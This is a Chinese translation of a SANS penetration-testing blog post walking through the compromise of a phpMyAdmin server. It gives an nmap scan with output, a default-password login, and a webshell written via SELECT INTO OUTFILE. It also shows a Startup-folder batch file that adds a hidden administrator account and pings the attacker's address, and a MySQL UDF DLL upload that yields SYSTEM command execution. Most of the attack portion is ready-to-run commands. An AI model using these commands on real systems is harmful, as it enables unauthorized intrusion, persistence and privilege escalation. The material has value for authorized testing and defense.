[译]phpMyAdmin利用

原文地址:http://pen-testing.sans.org/blog/pen-testing/2013/04/10/putting-the-my-in-phpmyadmin

$ nmap -sT -T3 -PS80,443,8000,8443,8800 -p 80,443,8000,8443,8080 -oA http-enum-results --script=http-enum -iL targets.txt

这个命令以正常速度(-T3)进行全连接扫描(-sT)。web服务器通常运行在端口80,443,8000,8443,和8080,所以这些端口用来主机发现(-PS),和检查(-p)。相比于-PN选项,我更喜欢-PS选项,因为它给我们更高质量的信息。

我们得到扫描结果:

引用

Nmapscanreportfor172.16.105.194

Hostisup(0.00083slatency).

PORTSTATESERVICE

80/tcpclosedhttp

443/tcpclosedhttps

8000/tcpclosedhttp-alt

8080/tcpopenhttp-proxy

|http-enum:

|/phpmyadmin/:phpMyAdmin

|/phpMyAdmin/:phpMyAdmin

|_/PHPMyAdmin/:phpMyAdmin

8443/tcpclosedhttps-alt

服务器运行phpMyAdmin,登录到管理员页面。发现管理员使用默认口令。

事实是因为该服务器是一个监控服务器。phpMyAdmin被捆绑到软件安装包中。没有人知道默认安装了phpMyAdmin。

接下来使用sql上传webshell。记住当你在sql中粘贴shell的时候使用"\"来规避"'",否则sql报错。使用下列语法注入了phpshellcode。

select '[escaped php shell code]' INTO OUTFILE 'c:\\inetpub\\wwwroot\\shell.php';

我喜欢用Laudanum(下载地址:http://sourceforge.net/projects/laudanum/files/)phpshell,因为它可以限制IP和需要授权。

运行shell code后,需要了解我的权限。运行
c:\windows\system32\cmd.exe /c whoami"
返回一个"nt authority\network service"低权限账户。

技术1.写入user开机文件夹。

C:\DocumentsandSettings\AllUsers\StartMenu\Programs\Startup文件夹中创建一个bash文件,当任何user登录的时候,该文件就会执行。命令行窗口会弹出一瞬间,但是user可能不会注意到。即使注意到,也可能会忽视。

命令如下:

net user timmedin reallyl0ngp@ssw0rd! /add /y
net localgroup administrators timmedin /add
ping -n 1 -w 10 [MyIPaddress]

该该命令创建一个user,添加到本地管理员帐户。/y表示跳过弹出窗口。

平命令用来通知我已经出现user登录了。-n1选项表示发送一个ping数据包。-w10告诉命令在放弃前等待10毫秒。

技术2.使用sql注入UDF(user-definedfunction)

首先需要找到插件文件夹,使用如下命令:

select @@plugin_dir
C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin

然后上传UDF库

这是一种二进制文件,幸运的是,MYSQL"CHAR()"命令可以用来生成二进制数据。例如"SELECTCHAR(72,69,76,76,79)"会返回"HELLO"。我们可以使用下面python命令来实现转换:

$ python -c "print ','.join([str(x) for x in bytearray(open('lib_mysqludf_sys.dll').read())])"

拷贝粘贴,然后我们可以通过OUTFILE生成我们的文件:

SELECT CHAR(77,90,144,0,3,0,0,0,4,0,0,0,255,255,...) INTO OUTFILE
  'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\lib_mysqludf_sys.dll'
  FIELDS ESCAPED BY ''

接下来,注册dll:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get  RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set  RETURNS STRING SONAME 'lib_mysqludf_sys.dll';

运行:

SELECT sys_eval('dir') FROM dual
nt authority\system

接下来我们就可以做任何事了,上传Meterpretershell(通过python和OUTFILE),然后通过sys_exec/sys_eval来执行shell。我们可以创建一个管理员帐户。我们可以开启终端服务,修改防火墙等。

相关推荐